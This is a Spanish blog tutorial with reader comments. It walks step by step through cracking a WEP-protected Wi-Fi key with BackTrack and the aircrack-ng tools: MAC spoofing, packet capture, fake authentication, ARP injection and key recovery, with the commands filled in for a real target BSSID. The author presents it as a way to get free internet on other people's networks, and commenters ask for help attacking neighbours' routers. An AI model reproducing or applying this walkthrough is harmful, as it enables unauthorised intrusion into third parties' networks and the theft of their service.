Rompiendo WEP con la tarjeta Intel 3945 Uno de mis primeros post (para ser exacto el séptimo) fue el mostrar cómo Romper claves WEP, y comenzaron a preguntarme si era necesaria otra tarjeta para poder hacer el procedimiento, a lo cual para mi desconocimiento amplio en esos momento sobre el tema era que si, era completamente necesaria otra tarjeta inalámbrica compatible con la distribución de Linux Backtrack para poder vulnerar la clave de seguridad WEP, que la mayoría de los usuarios promedio usan en sus routers, ya sea porque viene por default o no conocen otras opciones para proteger el acceso a sus redes inalámbricas.
En esta semana requería forzosamente segunda red con internet porque a la red que estaba conectado estaba MUY lenta, y me volvió a entrar la duda de cómo obtener la clave si no traía mi tarjeta inalámbrica externa, después de 2 horas de ardua lectura de la documentación del Backtrack y unos cuántos blogs, encontré la manera de aplicar un método INFALIBLE a pesar de poca señal inclusive, y lo mejor de todo… con la tarjeta que la mayoría de las portátiles trae… la Intel 3945abg.
Lo que necesitamos es:
- Distribución de Linux Backtrack.
- Un equipo con tarjeta Intel 3945 (que a partir de cierto paso es igual para casi todas las demás tarjetas sólo que sean capaces de inyectar paquetes)
Teniendo esto comenzamos booteando nuestro equipo con la distribución de Backtrack y elegimos la opción de gráficos KDE.
UPDATE: Al momento de escribir código (no los números) pueden ir pulsando la tecla TAB (tabulador, la de las flechas en ambas direcciones) para que les complete los comandos y no suframos escribiendo estríctamente todo el código letra por letra y nos equivoquemos en el camino, sólo es necesario pulsar las letras iniciales y pulsar TAB para que complete el código.
Enseguida podremos verificar si tenemos una tarjeta Intel 3945abg con el siguiente comando:
lspci | grep Netowrk
Mostrándonos que efectivamente tenemos esa tarjeta
0c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev02)
Lo que haremos es cambiar el modo de uso de la Intel 3945abg para poder monitorear e inyectar paquetes con estos comandos:
rmmod iwl3945
modprobe ipwraw
A partir de este paso, las instrucciones son las mismas para la mayoría del resto de las tarjetas.
Una vez hecho esto escribimos este comando para ver cómo es que la distribución llama a nuestra tarjeta, que será la que NO nos marque “no wireless extensions“, que en mi caso le llama wifi0:
iwconfig
Esta tarjeta la camuflajearemos cambiando su MAC, para ello la deshabilitaremos, cambiamos y volvemos a habilitar:
airmon-ng stop wifi down
ifconfig wifi0 down
macchanger –mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
Ahora exploraremos todas las redes disponibles que alcance a detectar nuestra tarjeta con:
airodump-ng wifi0
Ya exploradas todas las redes, pulsamos Control+C y elegimos la red a vulnerar, y copiamos su MAC o BSSID, ya que la necesitaremos en varias ocasiones más adelante, aparte de ello iniciamos con el proceso de inyección de paquetes para romper su seguridad con este código:
airodump-ng -c (canal de transmisión, columna CH) -w (nombre del archivo de captura) –bssid (MAC del router de red destino que copiamos) wifi0
Lo que para mi ejemplo quedó así:
airodump-ng -c 3 -w jafrancov –bssid 00:21:7C:D0:71:89 wifi0
Abrimos una nueva ventana y nuestra siguiente instrucción hará una Autenticación/Asociación con el Router, si esta es correcta nos regresará una carita feliz como esta –> : – )
aireplay-ng -1 0 -a (MAC del router de la red destino que copiamos) -h 00:11:22:33:44:55 wifi0
Para mi ejemplo:
aireplay-ng -1 0 -a 00:21:7C:D0:71:89 -h 00:11:22:33:44:55 wifi0
Seguido y si es bien logrado colocamos el siguiente código para la inyección de paquetes, dado ” enter” nos preguntará si deseamos usar el paquete que nos muestra, presionamos la tecla ‘Y’ y damos enter, para que inicie el proceso:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (MAC del router de red destino) -h 00:11:22:33:44:55 wifi0
Para mi ejemplo:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:21:7C:D0:71:89 -h 00:11:22:33:44:55 wifi0
Hecho todo lo anterior sólo nos resta esperar un poco a que el valor de la columna “#Data” comience a aumentar, pasados los 10,000 datos intercambiados abrimos una nueva ventana de consola y escribimos:
aircrack-ng (Nombre que dieron al archivo de captura)-01.cap
Nueva y por última vez para mi ejemplo:
aircrack-ng jafrancov-01.cap
Automáticamente nos llevará a una pantalla donde prueba todas las posibles claves, si los datos de los paquetes inyectados no arrojaran una clave válida, nos indicará que intentemos pasados cada 5,000 IVs, que es lo mismo que el número de la columna ‘#Data’, pasados los 160,000 es 100% probable que obtengamos una clave WEP común de 64 bits hexadecimal, en lo personal he visto una tendencia de usuarios a usar sólo números, así que a partir de los 10,000 IVs es bueno comenzar a probar, cuando sea descubierta la clave nos lanzará un texto que dice “KEY FOUND! [Clave]“, ese número es la clave WEP que nos pide el router al intentar conectarnos.
Este método lo usé ya con varias redes incluyendo de las de menor señal y aún así se pudo obtener la clave y libre acceso a internet y la red local del router como se puede ver en la imagen:
No me queda más que recomendar cambiar de protocolo de seguridad a WPA por ejemplo, que hasta el momento es de los más seguros para redes inalámbricas, disfruten el post y puede ser una buena opción cuando se requiere de urgencia tener internet… je
Enjoy this Life!!
Quizá también te interese...
160 Responses to “Rompiendo WEP con la tarjeta Intel 3945”
el tutorial tiene unos pequeños errores de sintaxis, hay que ver las ilustraciones ya que las instrucciones estan escritas correcto en ellas. Tambien tuve un problema con el backtrack3, descargue 2 versiones que no abrian el kde. hasta la tercera bajada sirvio la aplicacion.
Hola, gracias por el Feedback, me puedes decir ¿¿dónde tengo errores por favor?? Thx y gracias por tu comment
Hola, gracias por el Feedback, me puedes decir ¿¿dónde tengo errores por favor?? Thx y gracias por tu comment
hola, soy nuevo en esto y quisiera saber varias cosas…
en primer lugar la beta 4 de bactrack, esta operativa al 100%?
que significa DENIED (CODE 12) WRONG ESSID OR WPA?
Si no consigo asociacion puedo inyectar? como?
Algun link en español que me explique todo esto?
Gracias de antemano
Salu2
@izaria2 Te recomiendo uses el Backtrack 3 hasta que la versión 4 no salga de Beta, ya que algunos han tenido problemas con ciertos módulos, lo que me pones de DENIED es que probablemente intentas vulnerar una red con seguridad WPA y no WEP, que es para lo que está hecho este tutorial, para saber que tipo de seguriidad usa la red, cuando haces el airodump-ng al final de la línea de información de la red viene un espacio donde te indica si es seguridad WEP o WPA, si no consigues asociación no puedes inyectar, si quieres saber algo más de redes WPA checa este link
Saludos…
@izaria2 Te recomiendo uses el Backtrack 3 hasta que la versión 4 no salga de Beta, ya que algunos han tenido problemas con ciertos módulos, lo que me pones de DENIED es que probablemente intentas vulnerar una red con seguridad WPA y no WEP, que es para lo que está hecho este tutorial, para saber que tipo de seguriidad usa la red, cuando haces el airodump-ng al final de la línea de información de la red viene un espacio donde te indica si es seguridad WEP o WPA, si no consigues asociación no puedes inyectar, si quieres saber algo más de redes WPA checa este link
Saludos…
hola alex… bueno, te comento… con el bt4 beta, he conseguido asociarme/autentificarme a una red WAP, evidentemente me pide la ruta de donde se encuentra el diccionario de claves, por ese lado… bien, al menos consegui una asociacion….
por el otro tambien he conseguido lo mismo con una WEP, pero a la hora de sacar la KEY, tengo algunas preguntas…
1.- Usara los siguientes paquetes automaticamente para descifrar la KEY o he de parar la busqueda y decirle que busque en el siguiente? si es asi… cuanto tiempo he de esperar para parar la busqueda?
2.- Los diccionarios SOLAMENTE se pueden comprar o vienen con alguna distro que se pueda bajar?…
Gracias de antemano y MUCHAS GRACIAS por que con tu tutorial me he quitado el miedo a trastear mi “GÜINDOUS” y el gusanillo de LINUX y demas programas me esta picando…
Salu2
@izaria2 a lo primero creo que no entiendo en qué parte del proceso aplicas eso, digo, los paquetes son automático y es 100% segura la obtención de la clave, para lo segundo, no vienen con ninguna distro que yo sepa, sin embargo puedes hacerlo, en el otro post de las redes con seguridad WPA dejé los links, puedes checarlo allí
Sin embargo aquí sigo investigando más sobre el tema, gracias por tu comment, Saludos…
@izaria2 a lo primero creo que no entiendo en qué parte del proceso aplicas eso, digo, los paquetes son automático y es 100% segura la obtención de la clave, para lo segundo, no vienen con ninguna distro que yo sepa, sin embargo puedes hacerlo, en el otro post de las redes con seguridad WPA dejé los links, puedes checarlo allí
Sin embargo aquí sigo investigando más sobre el tema, gracias por tu comment, Saludos…
Es necesario utilizar la Intel 3945, ya que tengo una tarjeta diferente y tengo una señal aunque debil de mi vecino que quisiera probar, lo menciono porque hay un punto donde mencionas que es necesario cambiar el modo de la tarjeta con un comando que describes en el tutorial, de todas formas lo intentare aunque me fue necesaria hacer la pregunta…..saludos
@enigmata Revisa bien el tutorial hay una parte en el que dice que a partir de ese punto es totalmente igual para casi el resto de las tarjetas inalámbricas, prueba todo el tutorial a partir de allí.
Saludos…
@enigmata Revisa bien el tutorial hay una parte en el que dice que a partir de ese punto es totalmente igual para casi el resto de las tarjetas inalámbricas, prueba todo el tutorial a partir de allí.
Saludos…
Amigo, disculpa mi ignoracia, pero tengo un par de preguntas. Tengo Win XP en mi lap, puedo ejecutar este procedimiento. Debo usar el mismo programa que mencinas.
@edgar Lo puedes ejecutar independientemente del sistema operativo que tengas instalado, ya que para hacer el procedimiento utilizas una distribución de linux (un sistema operativo) pero que no se instala en tu equipo ya que es un Live CD o lo instalas en una USB, se usa para propósitos de auditoria de redes y entre ellos este proceso, y si, es necesario y explícito que para este tutorial se use la distribución.
Saludos…
@edgar Lo puedes ejecutar independientemente del sistema operativo que tengas instalado, ya que para hacer el procedimiento utilizas una distribución de linux (un sistema operativo) pero que no se instala en tu equipo ya que es un Live CD o lo instalas en una USB, se usa para propósitos de auditoria de redes y entre ellos este proceso, y si, es necesario y explícito que para este tutorial se use la distribución.
Saludos…
Alguien sabe como puedo instalar el Back|Track3 en una USB
Ya que soy un poco nuevo en esto y quisiera aprender.
Gracias de antemano.
@Alejandro Claro, es muy sencillo instalar Linux Backtrack en una USB, checate este tutorial http://jafrancov.com/es/2009/08/instalar-linux-backtrack-en-usb/
Saludos y mucha suerte…
@Alejandro Claro, es muy sencillo instalar Linux Backtrack en una USB, checate este tutorial http://jafrancov.com/es/2009/08/instalar-linux-backtrack-en-usb/
Saludos y mucha suerte…
hola
muchas gracias por el tutorial pero no consigo hacerlo funcionar. cuado empiezo a leer paquetes no pasa nada.
ademas cuando uso aireplay-ng -1 0 -a mac -h 00…… eth1 me sale waiting y luego error
mi tarjeta es una intel pro/wireless 2200BG
gracias `por la ayuda
Ok, en primer punto hay un error en lo que haces, ya que este tutorial está hecho para la intel 3945abg y tu tienes una tarjeta diferente, sin embargo, déjame investigo este fin de semana qué módulo es el que hay que activar para que funcione la inyección de paquetes con tu tarjeta.
Saludos…
Ok, en primer punto hay un error en lo que haces, ya que este tutorial está hecho para la intel 3945abg y tu tienes una tarjeta diferente, sin embargo, déjame investigo este fin de semana qué módulo es el que hay que activar para que funcione la inyección de paquetes con tu tarjeta.
Saludos…
Alex, los errores que se refire @yvan, son del tipo
netowrk != network (primera linea de código que das), ese tipo de cosas, que pueden confundir a personas ajenas a linux o a la consola realmente, solo detalles
Saludos desde el Cerro del Placer
HOLA ps fijate q tengo uan lap con xp/seven pero no detecta mi tarjeta inalambrica asi q compre esta http://www.encore-usa.com/product_download.php?region=us&bid=3&pgid=81_4&pid=293 y ahora me doy cuanta q no hay drivers para linux sera por eso q no me la a garra ni el backtrack ni el slax siendo asi q me recomendaria para auditoria de wifi grax salu2
Ijole, mira, dejame investigar cuál es la solución, ya que para muchas tarjetas inalámbricas de Encore no funcionan bien los drivers y el Backtrack no los lleva instalados, quizá es activar un módulo, pero ya te tendré la respuesta. Por cierto, qué tarjeta inalámbrica trae tu portátil??
Salidos…
Ijole, mira, dejame investigar cuál es la solución, ya que para muchas tarjetas inalámbricas de Encore no funcionan bien los drivers y el Backtrack no los lleva instalados, quizá es activar un módulo, pero ya te tendré la respuesta. Por cierto, qué tarjeta inalámbrica trae tu portátil??
Salidos…
hola, mira tengo una tarjeta de red intel pro/wireless 2200BG y me gustaria saber si puedo seguir el tutorial con ella, o que es lo qe seria diferente…
gracias.
@Eduardo No tengo la opotunidad de trabajar con esa tarjeta, sin embargo, leyendo un poco, se supone hay que sustituir según este tutorial, donde escribí iwl3945 por ipw2200 aunque necesitarías probar, ya que no tengo algún equipo con esa tarjeta, si lo logras hacer, te agradecería millones que nos lo compartieras =D
Saludos…
@Eduardo No tengo la opotunidad de trabajar con esa tarjeta, sin embargo, leyendo un poco, se supone hay que sustituir según este tutorial, donde escribí iwl3945 por ipw2200 aunque necesitarías probar, ya que no tengo algún equipo con esa tarjeta, si lo logras hacer, te agradecería millones que nos lo compartieras =D
Saludos…
Hola de nuevo Alex, mira al reiniciar mi equipo y al entrar a backtrack 3 ya estando en el menú elijo la opción BT3 Graphics mode (KDE), al entrar me aparece un cuadro que va poniendo muchas letras blancas, total que al final me dice “something went wrong and we cant´t continue. this should never happen.
please reboot your computer with ctrl+alt+delete…, esto entiendo qe me dice qe algo salio mal y debo reiniciar, entonces que habra pasado?
bueno, por otro lado la ventana qe me aparece es muy diferente a la tuya, a ti te aparece como una ventana dentro de algún S.O., mas a mi me aparece reiniciando la pc y arrancando desde un usb como en la primera imagen qe tiene este post.
gracias.
HOLA ESTA CHIDO TU TUTU PERO ME QUEDE EN INGRESAR EL COMANDO “rmmod iwl3945″ SUCEDE QUE ME DICE “error: module iwl3945 does not exitin/proc/modules” QUE PUEDO HACER? DE ANTEMANO GRACIAS
@HERIBERTO Qué versión de Backtrack estás utilizando?? si es la 4 te rocomiendo uses la versión 3, ya que la 4 aún está en beta y para muchos no han funcionado diversos módulos. Una segunda cuestión, asegúrate que el modelo de tu tarjeta de red sea específicamente la Intel 3945abg, espero eso te funcione…
Saludos…
@HERIBERTO Qué versión de Backtrack estás utilizando?? si es la 4 te rocomiendo uses la versión 3, ya que la 4 aún está en beta y para muchos no han funcionado diversos módulos. Una segunda cuestión, asegúrate que el modelo de tu tarjeta de red sea específicamente la Intel 3945abg, espero eso te funcione…
Saludos…
OK. TE COMENTO USO EL BACKTRACK 3 EN VERSION “bt3-final” PARA CD Y SI TENGO “intel 3945abg” DE ECHO LA DESMONTE Y TIENE CODIGO “fccid: b94wm3945abg” POR OTRA PARTE NO PUEDO LOGRAR HACER UNA USB BOOTEABLE DESDE WINDOS EJECUTO “cmd” Y ENTRO A BOOT Y “bootinst.bat” Y ME DICE QUE ARIETE CUALQUIER TECLA DOS VECES PERO ALA HORA DE ARRANCAR NO LO HACE YA EN EL BIOS PUSE TODAS LAS OPCIONES DE ARRANQUE PARA USB Y NADA INCLUSO PUSE LA USB EN UNA NEETBOOK LANIX Y ALLI ME DIJO QUE LA UNIDAD NO ERA BOOTEABLE INTENTE HACERLA BOOTEABLE DESDE UNA CONSOLA DE BACKTRACK Y NO SUPE COMO ENTRAR A MI USB COMO VERAS ESTOY AFFERRADO YA HASTA COMPRE DOS TARGETAS DE RED QUE NO LOGRE HACER FUNCIONAR UNA ENCORE Y OTRA AIRLINK BUENO SALUDOS Y GRACIAS
YA PUDE HACER UNA USB BOOTEABLE SOLO ME CAMBIE DE MAQUINA SABE PORQUE LA PRIMERA NO ME LA HACIA BOOTEABLE
hola tengo un problema con mi laptop DELL STUDIO entro a backtrack desde maquina virtual “VMware” entra de lo mas bien pero cuando pongo airmon-ng no me aparece ninguna tarjeta wireless y no se ke hacer ?
estoy tratando con una laptop sony funciona de lo mas bien con backtrack 3 pero ahora tengo otro problema y eske cuando ya tengo como 50,000 pakets y trato de buscar la clave no encuntra nigun folder con los paketes ke puede ser
ejemplo : aircrack bla bla bla wep.cap1 eth0 algo asi y enter para busca e ahi donde no encuantra nada ke puede ser?
@HERIBERTO Espero ya con el Backtrack montado en la USB puedas hacerlo, si tienes la Intel 3945 no debes tener ni un sólo problema con esta tarjeta, cualquier cosa, aquí andamos…
Saludos…
@HERIBERTO Espero ya con el Backtrack montado en la USB puedas hacerlo, si tienes la Intel 3945 no debes tener ni un sólo problema con esta tarjeta, cualquier cosa, aquí andamos…
Saludos…
@jeremy Mira, este proceso debes hacerlo como si fuera Sistema Operativo base, es decir, booteando desde el CD o USB, ya que con VMWare no podrás hacerlo ya que como es su función, “virtualiza” todos los componentes de tu equipo pero no hace uso directo de ellos. Ahora tu segunda pregunta, no debes tener problema alguno si escribes correctamente los comandos, para el aircrack no lleva al final la tarjeta que usas, es decir debes hacerlo así: aircrack-ng [Nombre que pusiste en el Airodump]-01.cap
Otra razón por la que puede no encontrar el archivo es que intentes moverte de carpeta con la consola, si hiciste algún cd /capeta o algo así, si puedes pásame bien lo que te muestra para poder ayudarte mejor… Saludos…
@jeremy Mira, este proceso debes hacerlo como si fuera Sistema Operativo base, es decir, booteando desde el CD o USB, ya que con VMWare no podrás hacerlo ya que como es su función, “virtualiza” todos los componentes de tu equipo pero no hace uso directo de ellos. Ahora tu segunda pregunta, no debes tener problema alguno si escribes correctamente los comandos, para el aircrack no lleva al final la tarjeta que usas, es decir debes hacerlo así: aircrack-ng [Nombre que pusiste en el Airodump]-01.cap
Otra razón por la que puede no encontrar el archivo es que intentes moverte de carpeta con la consola, si hiciste algún cd /capeta o algo así, si puedes pásame bien lo que te muestra para poder ayudarte mejor… Saludos…
una consulta ya estoy en la ultim parte solo me falta colocar el comando para ke salga la clave.
pero tengo una duda para eso tengo ke habrir una nueva ventana y como se habre esa ventana ????
HOLA ALEX SABES LO INTENTE ARRANCONDO CON LA USB BACKTRACK 3 TENGO INTEL 3945 PUSE EL COMANDO “modprobe ipwraw” Y ME SALE ESTA LEYENDA “FATAL: Error inseting ipwraw(lib/modules/2.6.21.5/kernel/drivers/net/wireles/ipwraw.ko): invalid module format” DESPUES DE ESTO QUISE VOLVER A COMENZAR Y PUSE DE NUEVO EL COMANDO “rmmod iwl3945″ Y YA NO PUDE CONTINUAR PORQUE ME SALIO ESTA LEYENDA “error:module iwl3945 does not exist in /proc/modules” MI LAP TOP ES UNA HP, TENDRE QUE BAJAR ALGUN ARCHIVO O ALGO ASI? NO SE SEME ACABARON LAS IDEAS COMO VERAS TENGO POCAS DE ANTEMANO TE AGRADESCO GRACIAS
@Pedro Así es tienes que abrirlo desde una nueva ventana, de hecho al final sólo tendrás 3 ventanas de una Terminal abiertas, suerte!!
Saludos…
@Pedro Así es tienes que abrirlo desde una nueva ventana, de hecho al final sólo tendrás 3 ventanas de una Terminal abiertas, suerte!!
Saludos…
@HERIBERTO Los errores indican que tienes dañado el módulo que hace funcionar ese comando, reinstala el Backtrack en la USB y prueba de nuevo, eso debe solucionarlo, en caso de que no sea así, la iso que bajaste está dañada y será necesario que la descargues nuevamente.
Saludos!!
@HERIBERTO Los errores indican que tienes dañado el módulo que hace funcionar ese comando, reinstala el Backtrack en la USB y prueba de nuevo, eso debe solucionarlo, en caso de que no sea así, la iso que bajaste está dañada y será necesario que la descargues nuevamente.
Saludos!!
Hola Alex, tengo 2 preguntas porque no p ude bootear con usb mi laptop es hp pavilion dv2810us. cambie todas las opciones del boot pero no pude.
segunda pregunta. despues baje el backtrack 3 para cd y ahi si entro pero cuando elijo la opción BT3 Graphics mode (KDE), al entrar me aparece un cuadro que va poniendo muchas letras y no pasa a la siguiente etapa que es donde puedo ver que tarjeta tengo. ayudame por favor.
de antemano muchas gracias.
@Lenin En tu portátil en las opciones de Boot debé estar específico la palabra USB para que puedas bootear, en caso de que si esté y no puedas accesar, reinstala Backtrack en la USB quizá algo no se copió o hubo algún detalle. y si ya entraste con el CD, sólo es esperar un poco, depende de tu equipo la rapidez con que logre procesar todo, en caso de que no te cargue con KDE, intenta con alguna otra opción que diga que es gráfico, con eso debe funcionar.
Saludos…
@Lenin En tu portátil en las opciones de Boot debé estar específico la palabra USB para que puedas bootear, en caso de que si esté y no puedas accesar, reinstala Backtrack en la USB quizá algo no se copió o hubo algún detalle. y si ya entraste con el CD, sólo es esperar un poco, depende de tu equipo la rapidez con que logre procesar todo, en caso de que no te cargue con KDE, intenta con alguna otra opción que diga que es gráfico, con eso debe funcionar.
Saludos…
ps tngo un amigo que me avia contado q su primo avia conseguido codigos de rounters pero no creia.. un dia m dijo que ya tnia la dichosa tarjeta necesaria pa eso pero igual no le puc coco asta que m consiguio el cod de una senhal wep d mi casa y trabajo.. ahora yo intento lo mismo pero no puedo xq tngo la broadcom 802.11 y segun no sirve para ello
pero pronto m conseguire la 3945 aver q tal m va…